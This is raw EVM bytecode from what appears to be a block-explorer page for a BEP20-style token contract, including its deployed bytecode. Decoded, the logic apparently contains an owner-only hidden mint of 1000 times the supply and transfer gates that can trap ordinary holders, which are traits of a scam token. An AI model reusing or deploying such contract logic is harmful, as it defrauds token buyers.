ffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906122c7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110886111d4565b73ffffffffffffffffffffffffffffffffffffffff16146110de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d590612287565b60405180910390fd5b61110660646110f88360035461110f90919063ffffffff16565b61118a90919063ffffffff16565b60058190555050565b6000808314156111225760009050611184565b6000828461113091906124a0565b905082848261113f919061246f565b1461117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612347565b60405180910390fd5b809150505b92915050565b60006111cc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611947565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611243906123a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b3906122e7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161139a91906123c7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140e906122a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147e90612387565b60405180910390fd5b60011515611494846119aa565b151514156114e15760045481106114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790612327565b60405180910390fd5b5b6114e9610900565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061156f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611722576115e08160405180606001604052806026815260200161272660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e39092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061167581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161171591906123c7565b60405180910390a36118de565b61172b83611ad9565b61173457600080fd5b6117a08160405180606001604052806026815260200161272660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e39092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118d591906123c7565b60405180910390a35b505050565b600083831115829061192b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119229190612265565b60405180910390fd5b506000838561193a91906124fa565b9050809150509392505050565b6000808311829061198e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119859190612265565b60405180910390fd5b506000838561199d919061246f565b9050809150509392505050565b600080600090505b600880549050811015611a74578273ffffffffffffffffffffffffffffffffffffffff1660088281548110611a10577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a61576001915050611a76565b8080611a6c906125e8565b9150506119b2565b505b919050565b6000808284611a8a9190612419565b905083811015611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac690612307565b60405180910390fd5b8091505092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480611b43575060011515611b3f83611b8d565b1515145b15611b515760019050611b88565b600454611b5d83610764565b10158015611b755750600554611b7283610764565b11155b15611b835760009050611b88565b600190505b919050565b600080600090505b600980549050811015611c57578273ffffffffffffffffffffffffffffffffffffffff1660098281548110611bf3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c44576001915050611c59565b8080611c4f906125e8565b915050611b95565b505b919050565b600081359050611c6d816126cf565b92915050565b60008083601f840112611c8557600080fd5b8235905067ffffffffffffffff811115611c9e57600080fd5b602083019150836020820283011115611cb657600080fd5b9250929050565b600081359050611ccc816126e6565b92915050565b600060208284031215611ce457600080fd5b6000611cf284828501611c5e565b91505092915050565b60008060408385031215611d0e57600080fd5b6000611d1c85828601611c5e565b9250506020611d2d85828601611c5e565b9150509250929050565b600080600060608486031215611d4c57600080fd5b6000611d5a86828701611c5e565b9350506020611d6b86828701611c5e565b9250506040611d7c86828701611cbd565b9150509250925092565b60008060408385031215611d9957600080fd5b6000611da785828601611c5e565b9250506020611db885828601611cbd565b9150509250929050565b60008060208385031215611dd557600080fd5b600083013567ffffffffffffffff811115611def57600080fd5b611dfb85828601611c73565b92509250509250929050565b600060208284031215611e1957600080fd5b6000611e2784828501611cbd565b91505092915050565b611e398161252e565b82525050565b611e4881612540565b82525050565b6000611e59826123fd565b611e638185612408565b9350611e73818560208601612583565b611e7c816126be565b840191505092915050565b6000611e94602083612408565b91507f45524332303a2063616e6e6f74207065726d69742064657620616464726573736000830152602082019050919050565b6000611ed4602583612408565b91507f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f3a602683612408565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611fa0602283612408565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612006601b83612408565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000612046602883612408565b91507f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008301527f78416d6f756e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120ac602183612408565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612112602083612408565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000612152602383612408565b91507f42455032303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006121b8602483612408565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61221a8161256c565b82525050565b61222981612576565b82525050565b60006020820190506122446000830184611e30565b92915050565b600060208201905061225f6000830184611e3f565b92915050565b6000602082019050818103600083015261227f8184611e4e565b905092915050565b600060208201905081810360008301526122a081611e87565b9050919050565b600060208201905081810360008301526122c081611ec7565b9050919050565b600060208201905081810360008301526122e081611f2d565b9050919050565b6000602082019050818103600083015261230081611f93565b9050919050565b6000602082019050818103600083015261232081611ff9565b9050919050565b6000602082019050818103600083015261234081612039565b9050919050565b600060208201905081810360008301526123608161209f565b9050919050565b6000602082019050818103600083015261238081612105565b9050919050565b600060208201905081810360008301526123a081612145565b9050919050565b600060208201905081810360008301526123c0816121ab565b9050919050565b60006020820190506123dc6000830184612211565b92915050565b60006020820190506123f76000830184612220565b92915050565b600081519050919050565b600082825260208201905092915050565b60006124248261256c565b915061242f8361256c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561246457612463612631565b5b828201905092915050565b600061247a8261256c565b91506124858361256c565b92508261249557612494612660565b5b828204905092915050565b60006124ab8261256c565b91506124b68361256c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124ef576124ee612631565b5b828202905092915050565b60006125058261256c565b91506125108361256c565b92508282101561252357612522612631565b5b828203905092915050565b60006125398261254c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156125a1578082015181840152602081019050612586565b838111156125b0576000848401525b50505050565b600060028204905060018216806125ce57607f821691505b602082108114156125e2576125e161268f565b5b50919050565b60006125f38261256c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561262657612625612631565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6126d88161252e565b81146126e357600080fd5b50565b6126ef8161256c565b81146126fa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220d112369af86dc9604ed97cbde83a641741d4a1c8112c08303f6b837b97f4627b64736f6c63430008000033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806395d89b41116100ad578063dd62ed3e11610071578063dd62ed3e146102f8578063e7cd4a0414610328578063ec28438a14610344578063f2fde38b14610360578063fe22908d1461037c57610121565b806395d89b41146102425780639ccb074414610260578063a5584f8c1461027c578063a9059cbb146102ac578063bc4fc247146102dc57610121565b8063313ce567116100f4578063313ce567146101c257806337441145146101e057806370a08231146101ea578063715018a61461021a5780638da5cb5b1461022457610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e610398565b60405161013b9190612265565b60405180910390f35b61015e60048036038101906101599190611d86565b61042a565b60405161016b919061224a565b60405180910390f35b61017c610448565b60405161018991906123c7565b60405180910390f35b6101ac60048036038101906101a79190611d37565b610452565b6040516101b9919061224a565b60405180910390f35b6101ca61052b565b6040516101d791906123e2565b60405180910390f35b6101e8610542565b005b61020460048036038101906101ff9190611cd2565b610764565b60405161021191906123c7565b60405180910390f35b6102226107ad565b005b61022c610900565b604051610239919061222f565b60405180910390f35b61024a610929565b6040516102579190612265565b60405180910390f35b61027a60048036038101906102759190611cd2565b6109bb565b005b61029660048036038101906102919190611e07565b610a96565b6040516102a3919061222f565b60405180910390f35b6102c660048036038101906102c19190611d86565b610ad5565b6040516102d3919061224a565b60405180910390f35b6102f660048036038101906102f19190611dc2565b610af3565b005b610312600480360381019061030d9190611cfb565b610c60565b60405161031f91906123c7565b60405180910390f35b610342600480360381019061033d9190611cd2565b610ce7565b005b61035e60048036038101906103599190611e07565b610de4565b005b61037a60048036038101906103759190611cd2565b610e85565b005b61039660048036038101906103919190611e07565b611047565b005b6060600a80546103a7906125b6565b80601f01602080910402602001604051908101604052809291908181526020018280546103d3906125b6565b80156104205780601f106103f557610100808354040283529160200191610420565b820191906000526020600020905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b600061043e6104376111d4565b84846111dc565b6001905092915050565b6000600354905090565b600061045f8484846113a7565b6105208461046b6111d4565b61051b856040518060600160405280602881526020016126fe60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d16111d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e39092919063ffffffff16565b6111dc565b600190509392505050565b6000600c60009054906101000a900460ff16905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105836111d4565b73ffffffffffffffffffffffffffffffffffffffff16146105d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d090612287565b60405180910390fd5b600060016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006103e860035461065191906124a0565b9050600354816106619190612419565b60038190555081816106739190612419565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161075891906123c7565b60405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b56111d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990612367565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b8054610938906125b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610964906125b6565b80156109b15780601f10610986576101008083540402835291602001916109b1565b820191906000526020600020905b81548152906001019060200180831161099457829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109fc6111d4565b73ffffffffffffffffffffffffffffffffffffffff1614610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4990612287565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60088181548110610aa657600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610ae9610ae26111d4565b84846113a7565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b346111d4565b73ffffffffffffffffffffffffffffffffffffffff1614610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8190612287565b60405180910390fd5b60005b82829050811015610c5b576008838383818110610bd3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610be89190611cd2565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080610c53906125e8565b915050610b8d565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d286111d4565b73ffffffffffffffffffffffffffffffffffffffff1614610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590612287565b60405180910390fd5b6009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e256111d4565b73ffffffffffffffffffffffffffffffffffffffff1614610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7290612287565b60405180910390fd5b8060048190555050565b610e8d6111d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1190612367565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906122c7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110886111d4565b73ffffffffffffffffffffffffffffffffffffffff16146110de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d590612287565b60405180910390fd5b61110660646110f88360035461110f90919063ffffffff16565b61118a90919063ffffffff16565b60058190555050565b6000808314156111225760009050611184565b6000828461113091906124a0565b905082848261113f919061246f565b1461117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612347565b60405180910390fd5b809150505b92915050565b60006111cc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611947565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611243906123a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b3906122e7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161139a91906123c7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140e906122a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147e90612387565b60405180910390fd5b60011515611494846119aa565b151514156114e15760045481106114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790612327565b60405180910390fd5b5b6114e9610900565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061156f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611722576115e08160405180606001604052806026815260200161272660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e39092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061167581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161171591906123c7565b60405180910390a36118de565b61172b83611ad9565b61173457600080fd5b6117a08160405180606001604052806026815260200161272660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e39092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118d591906123c7565b60405180910390a35b505050565b600083831115829061192b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119229190612265565b60405180910390fd5b506000838561193a91906124fa565b9050809150509392505050565b6000808311829061198e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119859190612265565b60405180910390fd5b506000838561199d919061246f565b9050809150509392505050565b600080600090505b600880549050811015611a74578273ffffffffffffffffffffffffffffffffffffffff1660088281548110611a10577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a61576001915050611a76565b8080611a6c906125e8565b9150506119b2565b505b919050565b6000808284611a8a9190612419565b905083811015611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac690612307565b60405180910390fd5b8091505092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480611b43575060011515611b3f83611b8d565b1515145b15611b515760019050611b88565b600454611b5d83610764565b10158015611b755750600554611b7283610764565b11155b15611b835760009050611b88565b600190505b919050565b600080600090505b600980549050811015611c57578273ffffffffffffffffffffffffffffffffffffffff1660098281548110611bf3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c44576001915050611c59565b8080611c4f906125e8565b915050611b95565b505b919050565b600081359050611c6d816126cf565b92915050565b60008083601f840112611c8557600080fd5b8235905067ffffffffffffffff811115611c9e57600080fd5b602083019150836020820283011115611cb657600080fd5b9250929050565b600081359050611ccc816126e6565b92915050565b600060208284031215611ce457600080fd5b6000611cf284828501611c5e565b91505092915050565b60008060408385031215611d0e57600080fd5b6000611d1c85828601611c5e565b9250506020611d2d85828601611c5e565b9150509250929050565b600080600060608486031215611d4c57600080fd5b6000611d5a86828701611c5e565b9350506020611d6b86828701611c5e565b9250506040611d7c86828701611cbd565b9150509250925092565b60008060408385031215611d9957600080fd5b6000611da785828601611c5e565b9250506020611db885828601611cbd565b9150509250929050565b60008060208385031215611dd557600080fd5b600083013567ffffffffffffffff811115611def57600080fd5b611dfb85828601611c73565b92509250509250929050565b600060208284031215611e1957600080fd5b6000611e2784828501611cbd565b91505092915050565b611e398161252e565b82525050565b611e4881612540565b82525050565b6000611e59826123fd565b611e638185612408565b9350611e73818560208601612583565b611e7c816126be565b840191505092915050565b6000611e94602083612408565b91507f45524332303a2063616e6e6f74207065726d69742064657620616464726573736000830152602082019050919050565b6000611ed4602583612408565b91507f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f3a602683612408565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611fa0602283612408565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612006601b83612408565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000612046602883612408565b91507f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008301527f78416d6f756e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120ac602183612408565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612112602083612408565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000612152602383612408565b91507f42455032303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006121b8602483612408565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61221a8161256c565b82525050565b61222981612576565b82525050565b60006020820190506122446000830184611e30565b92915050565b600060208201905061225f6000830184611e3f565b92915050565b6000602082019050818103600083015261227f8184611e4e565b905092915050565b600060208201905081810360008301526122a081611e87565b9050919050565b600060208201905081810360008301526122c081611ec7565b9050919050565b600060208201905081810360008301526122e081611f2d565b9050919050565b6000602082019050818103600083015261230081611f93565b9050919050565b6000602082019050818103600083015261232081611ff9565b9050919050565b6000602082019050818103600083015261234081612039565b9050919050565b600060208201905081810360008301526123608161209f565b9050919050565b6000602082019050818103600083015261238081612105565b9050919050565b600060208201905081810360008301526123a081612145565b9050919050565b600060208201905081810360008301526123c0816121ab565b9050919050565b60006020820190506123dc6000830184612211565b92915050565b60006020820190506123f76000830184612220565b92915050565b600081519050919050565b600082825260208201905092915050565b60006124248261256c565b915061242f8361256c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561246457612463612631565b5b828201905092915050565b600061247a8261256c565b91506124858361256c565b92508261249557612494612660565b5b828204905092915050565b60006124ab8261256c565b91506124b68361256c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124ef576124ee612631565b5b828202905092915050565b60006125058261256c565b91506125108361256c565b92508282101561252357612522612631565b5b828203905092915050565b60006125398261254c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156125a1578082015181840152602081019050612586565b838111156125b0576000848401525b50505050565b600060028204905060018216806125ce57607f821691505b602082108114156125e2576125e161268f565b5b50919050565b60006125f38261256c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561262657612625612631565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6126d88161252e565b81146126e357600080fd5b50565b6126ef8161256c565b81146126fa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220d112369af86dc9604ed97cbde83a641741d4a1c8112c08303f6b837b97f4627b64736f6c63430008000033
Deployed Bytecode Sourcemap
